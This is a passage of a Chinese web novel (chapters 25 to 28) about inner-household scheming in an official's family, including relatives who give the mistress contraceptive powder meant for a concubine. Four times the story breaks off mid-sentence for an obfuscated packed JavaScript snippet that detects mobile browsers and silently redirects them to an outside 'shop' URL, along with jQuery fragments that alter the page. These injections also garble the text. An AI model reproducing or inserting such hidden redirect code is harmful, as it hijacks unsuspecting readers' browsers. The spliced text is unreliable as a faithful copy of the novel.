这叹气之事似乎能够传染，年纪略微小些的李攸也学着几位姐姐叹气：“可怜天下父母心。祖母一听姑母病了，便知道是那新来的姨娘惹的。我娘和伯娘来探病，正是为了来好好打探打探你们家那位新姨娘的底细，给姑母支支招呢。” 秦明月吸了吸鼻子，脸色才算缓和了些。 想着家中父亲虽现在宠爱姓宋的，但好在外祖一家还是向着她们的。左右那姓宋的没有靠山，只不过是秋后的蚂蚱，蹦跶不了几天了。 李瑜见到秦明月脸色好些了，才连忙出来打圆场。 “哎呀，不说这些了，那些是大人们该操心的！我们姊妹们是来陪你玩的。就不必想那些槽心事了。” 李攸眼睛垂着，低着头似乎是在思考，半晌才朝李瑜开口：“哎呀，三姐姐方才来的路上不是说给月姐姐带了些好东西吗？怎么不拿出来瞧瞧？” 李瑜似乎才是想起，拍了拍脑袋：“正是呢！月姐姐，我可给你带了样好东西！” 25. 亲事 今日李瑜穿了身竹青色绣花藕丝裙，衬得她皮肤白皙。再看李湘李攸，姐妹三人所穿的，竟是如出一辙。 李湘身上是件藕荷色的，衣裳上绣着云纹。正笑着，一对若隐若现的酒窝温婉可人。 李攸则年纪小些，妃色裙子边缀了条宫绦，上边的玛瑙剔透，走起来一摇一晃，甚是娇俏。 李瑜从袖子里拿出了一个香囊，小巧精致，上下都用了颗红珊瑚系着，十分讨喜。缎面上绣着百蝶穿花的花样，喜气洋洋。 “喏，月姐姐，这可是我亲自为你绣下的香囊，废了我好些功夫呢。既能提神醒脑，又可驱蚊明目。” 秦明月拿过香囊，凑在鼻尖闻了闻，的确清冽，当即便起了玩心，作势要把那香囊拆开，“嗯，闻起来确实不错！正好我最近在研究些香料，让我打开看看都加了些什么，竟能如此好闻……” 秦明月笑着举高，姐妹几个都拿不到。 李攸却着急了，跳起来抢那香囊：“哎呀，姐姐，那香囊可不能拆啊！不能拆！” 秦明月手一躲开，察觉到李攸神情更加激动，心底得意不已。 李湘微不可见地蹙了蹙眉，沉声喊住李攸：“小攸，沉稳些，这里是姑母家，不是在你的院子里。” 李攸似乎也觉得自己有些失态，于是垂下手来，干涩笑笑：“好啦，月姐姐，不要逗我玩啦。” 秦明月见李攸当真安静下来了，倒是心里觉得没趣，放下了手来，嘟囔着：“哎呀，湘姐姐，小攸在我家玩，需要拘个什么礼啊……我们姊妹虽并非一母同胞，却是嫡亲的表姐妹，分什么彼此！” 众姐妹坐在凉亭里，一人手里玩着一个茶杯。 李攸被姐姐训斥了，低沉着脸色，有些郁郁寡欢，一句话都没再说了。 反倒是李瑜一直在打圆场：“大姐姐在祖母身边长大，最是重规矩。平日里自己万事不得逾矩也就罢了，遇见我们两个不规矩，老是想着以理服人，真是让我们头疼。” “又偏偏我和五妹妹是最喜欢玩闹的，不喜欢做那些循规蹈矩的，就喜欢疯玩。” 秦明月吐了吐舌头，看了一眼李湘，见她仍旧温和地笑着，心里却有些发毛。 她平日里就有些怕她这个大表姐，最喜欢和三表妹李瑜玩。只因为上回见到她这个大表姐在外祖家中替外祖母传话，那通身气度，竟是比许多内宅妇人还要凌厉。 再加上她平日里最不守规矩，最爱玩，对这个大表哥更是避之不及。 如今看到她一副笑着的模样，更是让她无端想起话本子里边的笑面虎。 折枝不动声色地在旁边打量这这几位姐妹。 李攸平日里最为活泼，被李湘一训竟然就像个鹌鹑一样立马老实了，属实难得。而李瑜，非但没有替李攸辩解几句，还替李湘解释，更是难见。 她素来是个爱打太极的，就算打圆场，也鲜少偏向一边。如今明显是帮着李湘说话，那便是事出有因。 李攸犯错了！ 可李攸只是不让秦明月拆开那香囊，做错了什么呢？ 李湘见到秦明月有些怵她，笑着摇了摇头：“月妹妹别害怕，你大表姐并非是吃人的老虎，只是看着有些凶。仔细想来小攸只是年幼，误把你的玩笑话当了真，还真以为你要把三妹妹的香囊拆了呢。小攸只是心疼她三姐姐在闺房里绣了许久才得这么个香囊，不想让它就此作废了，实在可惜。” 秦明月努了努嘴，回想刚刚虽然是玩笑话，她却真的很想知道里面都放了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533295|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。不过既然几位姐妹都不让她拆开香囊，她的那个念头也就此作罢就是了。 李瑜拉着秦明月的手，低声哀求：“月姐姐，你不会真拆掉我的香囊吧？都说香囊是定情信物，我是连心上人都还没送过，先送给你了。” 李湘看她一眼。 “哎呀，”李瑜又伸出手摇着李湘的胳膊，“好姐姐，左右祖母没在这里，我们说会子姐妹之间的体己话，过于拘礼反倒显得生分……你就饶了我这一回吧！” 李湘叹气：“好吧，那今日我暂且不追究了……说到此事，月妹妹，听说前些日子你定了亲事，是京中学士，姓冯？” 秦明月红着脸点点头。 这种事情不好多过问，李湘只是过问了一句，便再不问了。 李攸沉默了半天，终于忍不住开口：“那既然今日大姐姐不追究了，我们便可以畅所欲言了！” 她亮着眼睛，似乎有什么惊人的话要说。 “月姐姐，前些日子大姐姐的亲事也定下来了了，你可知道是谁？” 秦明月果然眼睛一亮，忙问：“是谁？” 李攸见李湘羞涩一笑却并未阻止，才放心开口：“姑父没有同姑母讲起过吗？” 秦明月摇摇头。 “正是定了姑父下属，年轻有为的工部侍郎呢！” 那工部侍郎三十余岁，但做到此等位置的确算是年轻有为。先前有过妻子，不过已经亡故。家中已经有了一儿一女，年纪尚小。李湘嫁过去，便是当了继室。 若不算上他从前的那段，的确算得上是个好姻缘。 可李湘别无他选，这个也算是最好的选择了。 看她羞涩笑着，想来是对这个亲事并不抗拒，反而比较满意。 26. 手段 屋里，李氏倚在床边，被覃姑姑虚扶着起身，神情同样疲惫，却比之前要要好了许多。 她脸色发白，仔细看边上沾了细细的脂粉。或许本来并未生病，只是想借此躲避罢了。 几位夫人见到孩子们都出去了，此刻倒不继续嘘寒问暖了。李氏唤人上前，给孙氏吴氏上了茶，又叫她们全都出去，守在门外。 孙氏抬起眼睛，有意无意看了眼覃姑姑旁边站着的秋菊夏荷，又一脸担忧地看向李氏：“容妹妹……你可还好？” 李氏摆了摆手，示意身边都是堪用的知心人，让她们不必在意。 “大嫂……母亲是不是也听说了前些日子那事了？” 孙氏点点头，一双同李瑜如出一辙的柳叶眼扫向李氏。只是孙氏那双眼睛更加凌厉，也更加圆滑，收放有度。 吴氏也是轻轻一叹，看见李氏眼里立刻蓄满了泪水，劝慰道：“那日妹夫纳妾，声势浩大，京城里是无人不知无人不晓啊……甚至有闲话说的，那简直是不堪入耳。母亲听说你病了，说什么也要我们亲自来看看。” “早先就猜到，你这哪里是得了风寒，怕是心病难医吧。” 李氏低着头，流了好一会儿泪。衣襟打湿了一回又是一回，才哀声道：“那我能如何？夫君在外养了外室，已经找到了我的头上，岂能不认？我本以为我是那唱戏的琵琶记里的牛氏，耽误夫君与先前的旧人相认……怎能不办得隆重些，那不是让旧人和夫君怨我一辈子，恨我一辈子吗？” 孙氏、吴氏也沉默了一会子。 她们是李氏的大嫂二嫂，先于李氏成亲。等她们入了李家之后，李氏才开始议亲。 李老太爷是国子监祭酒，把持着国子监，里边优秀的学子，皆在他麾下。 孙氏是江南一位富商的女儿，家财万贯，带来的嫁妆三车五骑，填补着李家的亏空，又凭借商户家中的学来的经商本领，将李家的家财越累越多。 李家人上下都不敢轻慢了她。 吴氏是朝中一位武将家中的次女，平日里心机较少，事事都以孙氏说的来，说什么便是什么。 孙氏聪明，处世又圆滑，跟着她倒是个不容易出错的选择。 如今李家管家权虽还在老夫人手中，可府里下人女眷，都无不尊着孙氏。 李氏对孙氏这个嫂子也是信任的，她出嫁之时，孙氏还特地为她添了妆，感激是感激的。虽上回对于李瑜有没有对外说漏嘴而对她起了疑，但也只是问一句，心底里却是不信她会如此的。 李氏开始议亲之时，李老太爷挑了好些个学子，有家世好的，也有家世不算好的。 最开始看中的是中州刺史齐家的次子齐煜，既有家世，又有文采，日后前途无量。 只可惜齐煜不久后便传出有胎中定下婚约的未婚妻，此事便作罢了。 接着又看中了一位举子，家世比不上齐家，可胜在家世清白，累世官宦，快要定下的时候却又被另一家高门看中，又作罢了。 李氏议亲不顺，心里烦闷。李老太爷废了好一份功夫寻到了如今的秦佩，那秦佩家中都是地里刨食的的，并无权势，便好拿捏。 两家长辈立刻定下了，可后来接触才知秦佩早有了妻子，虽并未成婚，但只差高中临门一脚之后再成婚。 此番被李家强势逼着成了婚，秦佩心中有多少怨言，她们不得而知。 那琵琶记讲的是什么？ 不也是逼着蔡伯喈和牛氏成婚，让他抛弃妻子留在京中吗？ 可又不一样，秦佩未曾成婚，并且与李氏这门婚事，也是他点了头认了的！ 李氏又道：“可我家新来的那个姨娘宋氏，哪里比得过赵五娘贤淑……她只怨我没让她当上正头娘子，记恨着我。来了家里处处发威作福，家里的下人竟都不停我的指使了，全向着她去！” “老爷也怨我，心疼宋氏在外受苦，却不想想我是怎样的难为！” 李氏早留了个心眼，听覃姑姑讲起那日听见折枝说幼时是在保宁坊里被买回了家中，便知道这件事已经多年。陈芝麻烂谷子的事情，谁又能说得清呢？ 孙氏看着李氏哭得不假，眼里也忍不住染上几分怒火：“呸！我就没见过京中哪家妾室能爬到正室头上的！这传出去是要被人笑话的！当真以为你娘家没人了吗？” “容妹妹，今日当着你的面说句不好听的，”吴氏见孙氏气恼，同样生气，“妹夫莫非是做了尚书老爷，便不把他岳家放在眼里了！竟然这样宠妾灭妻！眼里把李家当成什么了！那妾室才回来几天，竟就把主母给气病了！简直闻所未闻，见所未见！” 覃姑姑又为李氏擦泪。手上的帕子，竟是都没有干过。 话虽如此说了，多半只是想宽慰李氏，让她不要多心，娘家还是站在她这边的。 孙氏冷静下来，又看向李氏，“还是你福气浅，得了月姐儿这一个就再无旁的了，但好歹也算有了子嗣。” “那宋氏未得子嗣就如此猖狂，日后万一有孕，岂不是真的骑到你的头上发威作福去了？” 李氏向来性子高傲，如今见她狼狈，孙氏惊诧不已。 吴氏也点点头，道：“正是这样，该是以绝后患才好。容妹妹，你可曾使过什么些手段……” 话并未说明，几人却已经明了。 李氏摇了摇头。 吴氏叹了口气，像是十分心疼李氏，她从袖中拿出一包粉末，放在手里。 “早就想到妹妹心无城府，早先是无人与你相争，便想着你用不上这些腌臜手段。可妇人在内宅当中，却不能不打算着这些。” “我与你二哥成婚多年，他却一直没有别的庶子庶女……”吴氏顿了顿，又看了眼孙氏的脸色，见她脸色无异才继续道：“全靠着我辛苦经营，不让那些子莺莺燕燕有机会生下孩子。” “妹妹啊……你可好好想想。” * 折枝这边便没有卧房里的气氛那样剑拔弩张了，只是小姐们谈到自己的婚事，纷纷羞红了脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533296|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李攸讲完李湘定下的亲事，引得秦明月高兴不已，可却没忘记李瑜说的什么心上人，便继续打趣道：“呀……那既然大表姐已经定下亲了……不知道……什么时候轮上我的三表妹定亲呀？是不是和三表妹的心上人？” 李瑜难得女儿姿态瞪了李攸一眼，似乎有些愠怒：“叫你多嘴！现在月姐姐问上我了吧！” 李瑜又摇了摇秦明月的手臂，央求道：“好姐姐，你就饶了我吧！我年纪还小，哪里懂什么心上人，只是随口胡说着玩罢了！” 秦明月似笑非笑看着她，上下打量。 “那我怎么见你上回在国公府办的宴会上，见到那崔家的小公子，便如同那狼见到了肉，眼里星光直冒呢！” 这种话，也只有秦明月敢说。 李瑜见她就如此在姐妹面前指出，嘴角稍微扯了扯，却不敢表现出来不高兴的样子。 本就是她接过话头自己说的，那秦明月要打趣，便也怨不上她。 只怪李攸多嘴！ 而旁边的李攸和李湘看着却像是把话听进心里去了，正笑着看她们打闹。 李湘的眼里笑意更多，只是若有所思。 李攸的眼里则不知为何有抹快意，都被折枝扫入眼底。 不过李家一行人来得不久，竟是没吃过午饭，便急匆匆往着家里去了。 李氏卧病在榻，不好相送，只是秦明月在门前朝着姐妹和姑母们挥手告别，依依不舍。 孙氏挥着手帕告辞：“月姐儿啊，记得要好好照顾你母亲！” 秦明月应下，随意将方才李瑜送她的香囊挂在身上，抬起头来嘱咐身边站着的丫鬟。 “母亲招待着舅母们也是累了，你们谁去看看她可吃过饭睡下了没？” 不消多说，这种差事便落在了折枝头上。 就算不落在她头上，她也会想尽办法让这件事落在她头上。 翠云那丫头昨日套车去，并未发现什么机缘，又觉得自己丧失了和小姐独处的好机会，得不偿失，今日这种事，她也便不争了。 折枝垂首应了是，又看见秦明月挂在腰间的那只香囊。 针脚细密，绣的百蝶穿花栩栩如生，当真是花费了不少功夫。难怪李家姐妹全不让秦明月拆了它去。 穿过小路，从前下人们蜂拥的蒹葭院果然变冷清了许多。 而那些下人，都听着刘婆子给的消息，全去巴结着宋姨娘，想着在她面前争口气，一举成了贴身伺候的，日后的日子便会好过得多。 更是为了给李氏养病留个清净。 也好让这平静无波的海面慢慢酝酿风暴。 折枝告知了守在院子面前的婢女，又看见在门口的覃姑姑。 覃姑姑望着她，似乎是在等着她来，已经等了许久了。 门口没有守着的人，开了门，夏荷便去外边守着了，里边就剩了三人。 李氏现在却没躺在床上了，她坐在床上，脸色阴沉，疲态一扫而尽。 27. 山雨 山雨欲来风满楼。 李氏端坐在罗汉床上，脸色早已去了病气，看到折枝来了，心情愈发沉闷。 “小姐那边，你可都看着？” “奴婢看着。说的话都是些小娘子间的体己话，并未有什么……只是……” 李氏按着太阳穴，蓦地睁开了眼睛，声音冷硬：“只是什么？” 折枝略微抬了抬头，看了看李氏垂下来的中衣衣带，又低头，诚惶诚恐：“只是，瑜小姐亲手给小姐绣了个香囊。小姐玩笑着要把荷包拆了，攸小姐却不肯。湘小姐还训斥了攸小姐一顿呢。” 李氏闻言，一把推开身上披着的衣服，转身走至圆桌上，轻轻拂袖，方才还未来得及撤下的茶盏和果子落了一地。 无人敢上前清扫，只是在旁边大气都不敢出。 李氏不再追问折枝，只是站在一旁生着气。 覃姑姑躬下身子走至折枝前边，从袖子里拿出一个纸包。 折枝不解其意，只是顺着几人的目光打开那纸包，里边是些粉末，棕色黑色混杂在一起。 折枝捻了些粉末，放在鼻尖闻着。 香气浓烈，又隐隐透着一股茶香。 她虽然不能分辨出来，直觉却告诉她，这并不是什么好东西。是药？孙氏吴氏送过来的药，还能是什么药？ 她轻轻皱了皱眉：“这是……给宋姨娘准备的……避子药？” 屋内沉默一瞬，落针可闻。 李氏反倒笑出了声，看着折枝的表情深含打量，审视意味浓得不可无视。 “覃姑姑说你这个丫头伶俐，我原先不信，现在倒是相信了。” “我们还没同你讲是什么，你竟先猜出来了。” 折枝虽是猜的，心里却有几分笃定。 既然几位夫人说是探病，实则来给李氏支招，那便绝不会不留下什么就走。 而她们急匆匆地就走了，竟是同那宋姨娘连照面都没打过，想来招已经支好了。 这个招，便是手中的粉末。 当家主母，膝下无子，最是忌惮别人先她一步剩下能够继承家业的孩子。孙氏吴氏以为李氏苦此已久，便想着自己给李氏出些主意。 可她们出主意的心，怕是难测。 折枝跪在地上，接着把那粉末迪还给覃姑姑。往地下俯首，深深吸了一口气，粗着声音。 “两位表夫人真是给夫人出了好巧的一招啊，明修栈道，暗度陈仓。让夫人是无暇顾及，也无法顾及。” “幸得夫人早有盘算，安插奴婢在小姐身边。不然只怕是夫人被蒙在鼓里许久都摸不清她们到底打的是什么算盘了。” 想起秦佩抄家时的罪名，结党营私，贪污受贿。 若结党营私是宋何所为，那贪污受贿从何而来？ 且不说凭借如今秦家的财力，根本无须收受贿赂，再者，她好歹也是在秦府里边做事的丫鬟。 内院来了什么人，送走了什么贵重物品，她还是知道的。 再次，京中官宦人家，打点来往人士的送礼和还礼，都是当家主母操持。当家主母收下什么，要往库房里送去，又免不了动用丫鬟婆子小厮。 人之常情乃是多嘴八卦，闲来无事，这些下人最爱谈论家中主人又做了些什么。 她是秦明月的贴身丫鬟，在秦家也颇受欢迎，怎么她并未听说哪日收了哪家大人的礼？ 除非送的礼李氏可能根本就不知情！ 那究竟谁送的礼，李氏会豪未察觉……或者说是李氏不会细究谁送来的礼品呢？ 莫非是李氏的亲眷？ 偌大的京城，李氏最信任谁——那便是在平康坊的国子监祭酒李家，她的母家。 孙氏吴氏明面上可能是打着探病的由头来的，那么暗地中呢？ 当真是为了给李氏想法子整治那妾室吗？ 折枝不敢多想，只是李氏已然勃然大怒，拂袖又把覃姑姑放在圆桌上的一包粉末打散在地。 “这哪里是来给我支招？分明是给我递饵，怕我不上钩。等我上了钩，便让她们拿捏住了我的错处！日后再想驱使，如何都简单了！” 那新入府的宋氏发觉不发觉倒还另说，但一旦她真听了两个人的话，那就是给她们递刀子，任着她们攥着刀子，想凌迟便凌迟。 李氏是信过孙氏的，也敬过孙氏的。 但想到如今孙氏竟算计她，已经到了如此地步，她还是止不住地心凉。 李氏兀地无力，跪坐在了那地上。 瓷片散了一地，像是星点，划破了她的里衣，渗出血来。 “人人都说，长嫂如母，我原以为她事事都为我上心。就连月儿在外边有了什么闲话，也第一时间来告诉我。她谅月儿无友，又让瑜姐儿一直陪着她玩闹。我未出嫁时，是她同我讲起这内宅经营，管家理财。我出嫁后，又是她为我梳发，她为我添妆。” “吴氏不喜欢我，我一直知道。” “可是为什么，第一个想着来害我的是她呢？” 李氏脸边划过两行清泪，被她胡乱地擦去了。覃姑姑心疼她被那碎瓷扎伤，连忙俯身前去拉着她起身，一把把她抱进怀中。 “小姐……小姐，您别哭。” 前尘如梦似幻。一个宋白棠，便叫她看清，相敬如宾的夫君，其实并不爱她这个妻子，更是瞒她骗她，从不把她放在眼里。而可敬可靠的母家，在她最孤立无援的时候，落井下石。 李氏被覃姑姑圈在怀里，瑟缩着脑袋，深深吐了一口浊气。 她转过头，闭了闭眼，朝折枝说话：“你怎么看出我嫂嫂她们或许心思不纯的？” 折枝垂首，恭敬道：“奴婢本是不知的。只是上回表夫人顺水推舟做的太好，让奴婢记下了，觉得表夫人实在是个神仙人物。奴婢又想起，小姐与瑜小姐相交多年，乃是闺中无话不说的密友。可小姐素来有跋扈名声在外，没有瑜小姐纵容，时时警醒，又怎么会让她真的得了如此名声？” 李氏冷笑一声：“我明白了。” “我明白了。” 失落只是一时的，失落过后，便是无穷无尽的恨意。 秋菊夏荷如今才上前，蹲下身去收拾那碎瓷片。 受了伤，流了血才知道疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533297|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李氏任着覃姑姑为她清理伤口，所幸很浅，倒不必前去喊郎中。 李氏坐在贵妃榻上，用手撑着脑袋。 方才的伤心之色已经一扫而尽了，如今面上只剩下冷静，她抬眼看了看折枝，面色稍霁。 “好孩子，别跪在地上了，起来说话。”她抬了抬手，指了指旁边的绣墩，“坐这里。” 折枝立马起身，忙不迭坐到了李氏指的墩子上。 心里倒是浅浅松了一口气。 都说伴君如伴虎，而在内宅当中，对于她们这种下人来说，主子就是她们的君王。一步行差踏错，怕是就会小命不保了。 毕竟她说的可是事关李氏母家的，心有猜忌，万一不准，那么受难的只会是她。 上回投诚，折枝便向覃姑姑讲了一回紫钗记，说起霍小玉和李益的故事，一眼定情。 这讲的便是秦佩和那宋氏。秦佩早有婚约，与李氏成婚不久，先前的旧人便郁郁而终了。 秦佩应酬完，遇见宋氏在外，酷似他先前的未婚妻，便一眼钟情。宋氏落钗于地，被秦佩捡下，成就了一番佳话。 而至于秦明月的婚事，折枝想起前世冯铭在京中颇具盛名。有一原因就是他两袖清风，即使后边入了内阁做了大学士，也不过住在崇业坊里的一个小宅子罢了。 据说他那老母亲，本是做买卖发家的。辛苦卖些豆腐，供着他一步步读书上京。 她上回发觉秦明月对冯铭似乎很感兴趣，便想着无论如何，都须得让他们再见一面再下定论。 是她故意对着翠云说要想办法讨小姐欢心的，拿着本话本子在翠云面前晃悠，果然被她想着办法骗了过去，背下来自己讨秦明月欢心去了。 秦明月听了那话本子，多多少少也会被那话本子所影响。年少而慕少艾，她正是不懂感情的年纪，多方牵引着，真真假假，倒是也说不清了。 至于她是如何得知宋氏与秦佩相识的故事，便又牵扯到了宋氏先前身边最得力的丫鬟听松身上。 听松自诩不凡，头脑机敏。但过于机敏，在宋氏进门那日便让宋氏看出她已经倒伐，向着李氏那边去了。 她偏宠寂月一时，惹得听松很是嫉恨。 四处说自己才是最明白宋姨娘的人。 府上下人时常聚在一起说闲话，若是在主子面前得脸的，自然耀武扬威，喜欢被别人捧着。 捧着捧着，便说出了宋氏当年和秦佩的旧事，府上下人奔走相告，也便人人皆知。 而闹上这么一大通，折枝想要的也非常简单。 她签的并非是死契，也便是只要攒够了赎身银子或得主人恩宠，什么时候想重获自由都是可行的。 若她能够改变秦府的结局，她便可继续在秦府谋得生路。 若她改变不了，不如早点跟着秦明月嫁给冯铭再寻出路，总好过再被发卖。 趁着现在秦家倒台还久，向着主母示忠是上上之选，是最能早日脱离贱籍的选择。 此外，她还有私心。 想让宋何也尝尝失去亲人的滋味，到底是酸还是苦。 此乃一箭三雕。 28. 小人 折枝不知道自己是怎么走出的蒹葭院，只觉得自己浑身发软。 那种被人随意摆弄命运的感受，对于她现在这个年纪的身体来说，还是太过沉重了。 双腿像灌了重铅，却又要强迫着自己去到秋水轩伺候。 前世出府之后，她一路游山玩水，前往大辽易水原，路上却是遇见许多各式各样的人。 他们为了得活，做什么的都有。小到沿街乞讨的乞丐，大到开连锁商号的商户，不同于她们长在深院中，抬头张望便是四角的天空。 从前她想，人活下去就算是不易。哪怕是苟且偷生也好，她总要活着。 可从那时候她却想着，此生若不能得如此自由，那才算是枉活了一世。 人生总有太多事不尽人意，是死的。可人是活着的，人可以让死的事重新变为活的。肉白骨医死人的手艺不算起死回生，把死的事变为活的事那叫起死回生。 她一身伶仃，孤苦无依，如同无根浮萍，飘在这乱世当中，无处为家。 她只能靠自己。 让那些死的事，变为活的。她是个小人，所以只要能让事起死回生的法子，她什么都愿意试一试。 * 四月下旬，坊外开了许多槐花，香飘一阵又一阵往着秦府里送。 秦府里也种下了槐树，只是在空置的采绿园的耳房后边，高耸入云，是棵百年的老树了。 原本在院子里栽种槐树不算吉利，只是那院子一直空着，又有其他的风水格局解了此树，便歇了秦家人砍了树的心思。 如今宋姨娘身边听松寂月两个大丫鬟正在争奇斗艳，都恨不得主子更信任自己一些。 听松上回失了宋姨娘的心，凭借着一张巧嘴又将她哄了回来。 寂月心中愤懑，便想起上回被宋姨娘破格收用在身边的婢子，叫雨禾，原是厨房里打杂的扫洒丫鬟，不再怎的得了宋姨娘欢心。 可欢喜了一阵子，宋姨娘便觉得那丫鬟没趣，便又置在一边了。 寂月嫌那雨禾死板，跟自己一样的死心眼，便拉着她来了一边，正是那空置的采绿园里边。 折枝路过的时候，寂月正用手指点在御魂脑袋上，一脸恨铁不成钢：“你个丫头，又跑这里来躲懒了，怎么不学学听松那贱人去姨娘跟前凑着，多讨姨娘欢心呢！” 雨禾手里拿着个篮子，黑黄的皮肤衬得她老实听话，一双眼睛也黑黑的，很是憨淳。 里边的篮子里装着满满一篮槐花，正是新鲜的，散发着香甜的气息。 雨禾低着头，小声回答：“两位姐姐和姨娘都是江州人，姨娘家又在淮乡，奴婢听闻淮乡槐花烙饼最是闻名……姨娘总是念叨着想家，奴婢想着，做些槐花烙饼，会让姨娘缓解些乡愁。” 折枝只是淡淡抬眼扫了扫那绿荫后边躲着的两人，没多细听，又转身去了秦明月的秋水轩中。 今日秦明月早早起了身，竟然转性了，自告奋勇说自己想要去查账。 晨起问安，秦明月上前抱住李氏的胳膊撒娇：“母亲，我觉得其实呢，管家查账之事，倒也并不完全是枯燥无味的。细细品来，也算有趣。” 李氏看着她，不知真假，只是笑了笑：“你呀，定是想了什么好玩的，却没诚心想着学管家吧！” 李氏已经大好，虽是装的，却还是在屋里静心了好几日。时不时召见小姐身边的人问问近况，这个人有时是折枝，有时又是翠云。 翠云原本不想着折枝去，想着自己去巴结夫人身边的人最好，只是去了几回发觉每回都问的一样的话，还常常追问，事无巨细。久而久之便觉得无趣，便打发折枝去回话。 这几日好了些，宋氏便也不得不来李氏院中晨昏定省，侍候茶水。 李氏让她松开手，笑得和善：“明月，你姨娘在这里，还是规矩些，别让姨娘见笑去了。” 秦明月不依不饶地松开了手，笑眯眯地看向宋氏，“我是爹爹的女儿，爹爹与姨娘恩爱不移，想必爱屋及乌，我就是没规矩了，姨娘也舍不得怪我吧？” 宋姨娘附在听松上的手倏地一紧，莫名想到自己与秦佩一起了这么多年，却从未怀过一个孩子……她心里陡然一慌，手上力度便加重了几分。 她只好扯起嘴角笑笑：“自是舍不得怪月姐儿的，妾身最喜欢孩子，只是福薄，未能有……” 不知道是不是屋内熏香味道太重，宋姨娘只觉得心中有些躁动，有股按耐不住的劲阻挠着自己说话。 李氏看着她，眼里饱含安慰之意：“妹妹还年轻，莫要着急，我那里有几副从前从郎中里求来的药，你便拿着去了吧。我是不中用了，只想着你能为老爷多开枝散叶。” 宋姨娘接下了，脸上蕴着笑，心里却是不信任李氏的，想着先搪塞过去，反正到了底下用还是不用，全是看她吩咐罢了。 李氏身体好转些了，便又问宋姨娘身边的人伺候的是否是好：“我前些日子病了，并未顾得上给妹妹寻些可用的人，只是……听说妹妹身边收用了好些个，可还缺人手？” 宋姨娘并不想李氏现在就塞人到了她院子里，便答道：“不是听说过些日子冀北那边的要来京城吗？想来也是要新置些人手，不若到时候一并去找人牙子挑选，倒给主母省了些麻烦。” 李氏倒也不为难她，一副好脾气，点了点头什么也不说便让她退下了。 宋姨娘有些琢磨不透李氏的做法。先是恭恭敬敬请她回了门，在敬茶时被她摆了一道也不记恨，反倒送给她一些铺面田产傍身。 真进了家门，竟也不管那些墙头草似的下人，任着他们巴结自己。如今体谅她多年无子，还送她辛苦求来的药方。 若是不想撕破脸皮，再怎么私底下也可以给她暗地下点绊子，可她为什么什么都没有做？ 宋姨娘点了点头，施了一礼，乖顺地退下了。 倒还是风平浪静。 宋姨娘一走，秦明月就轻轻呸了一声，不动声色翻了个白眼，快上了天去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533298|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “母亲，你一直让我多忍些她，只是究竟要忍到什么时候才算忍完啊？” 李氏拍了拍她的手，敛下眸中神色，“月儿乖，小不忍则乱大谋。你且再等等，还不到时候。” “对了……”李氏又笑着捏了捏秦明月的脸蛋，“你说查账不算无趣，到底是想了些什么好玩的？” 秦明月眨眨眼睛：“五月初不是薛家办宴么？就在京郊的庄子里，既有马场又有草地，蹴鞠捶丸投壶，样样都有。这回到了今日，都没送帖子来说女子不可上场，便是可以上场去了。上回母亲说庄子里草没长好，便没许我去玩，这回怎么也得让我去玩玩了罢！” 这次没送女子不可上场的帖子，大抵是长公主要来赴宴。 不看佛面也看僧面，当着长公主的面上不许女子上场，岂不是当着她的面说女子不如男吗？ 所谓算事，不如算人。 既要算人，那便必定要算心。 算好了秦明月心思，便猜到她一定会想着办法出去玩。是去见冯铭也好，为着大展身手也罢，总得出了秦家才好行事。 秦明月也说不上来自己到底有多想去庄子上玩，只是想着去京郊的马车也会路过那崇业坊，她那时候便可以挑起帘子再看一看那穷苦书生还在不在。只是顺便罢了。 李氏沉吟片刻，想到什么随即也点了点头。 “那好吧，我差人去京郊的庄子先收拾好，你午后去看看你宋姨娘，问问她去不去。” 秦明月点头，面上答应的倒是殷切，回秋水轩的院子里时却狠狠挫着牙。 “她去个什么去？我与母亲去玩，干她何事？依我看，我才懒得去问她，最好她不去！” 翠云知道现在说什么都不讨喜，便闭上嘴什么也不说了，只是狠狠拧了一把折枝，想让她出声，当个受气的。 如今情形，她不得不轻叫出声。 “啊！” 秦明月转过身看她，满脸不悦：“怎么，你有什么话想说？” 